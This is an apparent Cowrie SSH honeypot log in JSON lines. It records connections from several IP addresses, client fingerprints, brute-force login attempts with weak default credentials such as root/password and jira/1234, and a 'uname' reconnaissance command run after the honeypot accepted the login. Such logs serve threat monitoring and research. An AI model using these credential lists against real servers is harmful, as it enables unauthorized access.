{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:17:16.658828Z","src_ip":"92.118.39.92","session":"edf275484761","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"P@ssw0rd","message":"login attempt [root/P@ssw0rd] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:17:17.055607Z","src_ip":"92.118.39.92","session":"edf275484761","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:17:17.548205Z","src_ip":"92.118.39.92","session":"edf275484761","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:17:17.551233Z","src_ip":"92.118.39.92","session":"edf275484761","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:17:17.658350Z","src_ip":"92.118.39.92","session":"edf275484761","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:17:17.663634Z","src_ip":"92.118.39.92","session":"edf275484761","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.57.48","src_port":52794,"dst_ip":"159.203.135.109","dst_port":22,"session":"f34155a231cc","protocol":"ssh","message":"New connection: 159.223.57.48:52794 (159.203.135.109:22) [session: f34155a231cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:18:37.287936Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:18:37.292170Z","src_ip":"159.223.57.48","session":"f34155a231cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:18:37.536454Z","src_ip":"159.223.57.48","session":"f34155a231cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jira","password":"1234","message":"login attempt [jira/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:18:38.553517Z","src_ip":"159.223.57.48","session":"f34155a231cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:18:39.802503Z","src_ip":"159.223.57.48","session":"f34155a231cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.67.80.61","src_port":48330,"dst_ip":"159.203.135.109","dst_port":22,"session":"79782c0127b8","protocol":"ssh","message":"New connection: 103.67.80.61:48330 (159.203.135.109:22) [session: 79782c0127b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:18:44.105403Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:18:44.110023Z","src_ip":"103.67.80.61","session":"79782c0127b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:18:44.354572Z","src_ip":"103.67.80.61","session":"79782c0127b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gits","password":"Gits123","message":"login attempt [gits/Gits123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:18:45.348542Z","src_ip":"103.67.80.61","session":"79782c0127b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:18:46.590316Z","src_ip":"103.67.80.61","session":"79782c0127b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.211.185","src_port":58656,"dst_ip":"159.203.135.109","dst_port":22,"session":"85d5e5608247","protocol":"ssh","message":"New connection: 103.13.211.185:58656 (159.203.135.109:22) [session: 85d5e5608247]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:19:05.721640Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:19:05.726285Z","src_ip":"103.13.211.185","session":"85d5e5608247","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:19:05.823479Z","src_ip":"103.13.211.185","session":"85d5e5608247","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"backupuser","password":"root","message":"login attempt [backupuser/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:19:06.322468Z","src_ip":"103.13.211.185","session":"85d5e5608247","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:19:07.422777Z","src_ip":"103.13.211.185","session":"85d5e5608247","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":33306,"dst_ip":"159.203.135.109","dst_port":22,"session":"45905e75a732","protocol":"ssh","message":"New connection: 92.118.39.92:33306 (159.203.135.109:22) [session: 45905e75a732]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:19:35.480262Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:19:35.485348Z","src_ip":"92.118.39.92","session":"45905e75a732","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:19:35.585178Z","src_ip":"92.118.39.92","session":"45905e75a732","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"password","message":"login attempt [root/password] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:19:35.903204Z","src_ip":"92.118.39.92","session":"45905e75a732","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:19:36.153150Z","src_ip":"92.118.39.92","session":"45905e75a732","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:19:36.156314Z","src_ip":"92.118.39.92","session":"45905e75a732","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:19:36.271616Z","src_ip":"92.118.39.92","session":"45905e75a732","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:19:36.276961Z","src_ip":"92.118.39.92","session":"45905e75a732","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.67.80.61","src_port":37820,"dst_ip":"159.203.135.109","dst_port":22,"session":"3684ac9a30aa","protocol":"ssh","message":"New connection: 103.67.80.61:37820 (159.203.135.109:22) [session: 3684ac9a30aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:20:45.506974Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:20:45.513481Z","src_ip":"103.67.80.61","session":"3684ac9a30aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:20:45.753485Z","src_ip":"103.67.80.61","session":"3684ac9a30aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"znc","password":"znc2025","message":"login attempt [znc/znc2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:20:46.748695Z","src_ip":"103.67.80.61","session":"3684ac9a30aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:20:47.993518Z","src_ip":"103.67.80.61","session":"3684ac9a30aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.211.185","src_port":37840,"dst_ip":"159.203.135.109","dst_port":22,"session":"e32409cd7df1","protocol":"ssh","message":"New connection: 103.13.211.185:37840 (159.203.135.109:22) [session: e32409cd7df1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:20:52.921408Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:20:52.926424Z","src_ip":"103.13.211.185","session":"e32409cd7df1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:20:53.021987Z","src_ip":"103.13.211.185","session":"e32409cd7df1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"showroom","password":"Showroom123","message":"login attempt [showroom/Showroom123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:20:53.539677Z","src_ip":"103.13.211.185","session":"e32409cd7df1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:20:54.626939Z","src_ip":"103.13.211.185","session":"e32409cd7df1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.57.48","src_port":49524,"dst_ip":"159.203.135.109","dst_port":22,"session":"d9b7a8580035","protocol":"ssh","message":"New connection: 159.223.57.48:49524 (159.203.135.109:22) [session: d9b7a8580035]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:21:01.889997Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:21:01.894874Z","src_ip":"159.223.57.48","session":"d9b7a8580035","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:21:02.131269Z","src_ip":"159.223.57.48","session":"d9b7a8580035","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"facturacion","password":"1234","message":"login attempt [facturacion/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:21:03.107628Z","src_ip":"159.223.57.48","session":"d9b7a8580035","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:21:04.349690Z","src_ip":"159.223.57.48","session":"d9b7a8580035","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":48784,"dst_ip":"159.203.135.109","dst_port":22,"session":"e9e1254e45bd","protocol":"ssh","message":"New connection: 92.118.39.92:48784 (159.203.135.109:22) [session: e9e1254e45bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:21:51.259709Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:21:51.264072Z","src_ip":"92.118.39.92","session":"e9e1254e45bd","protocol":"ssh"}
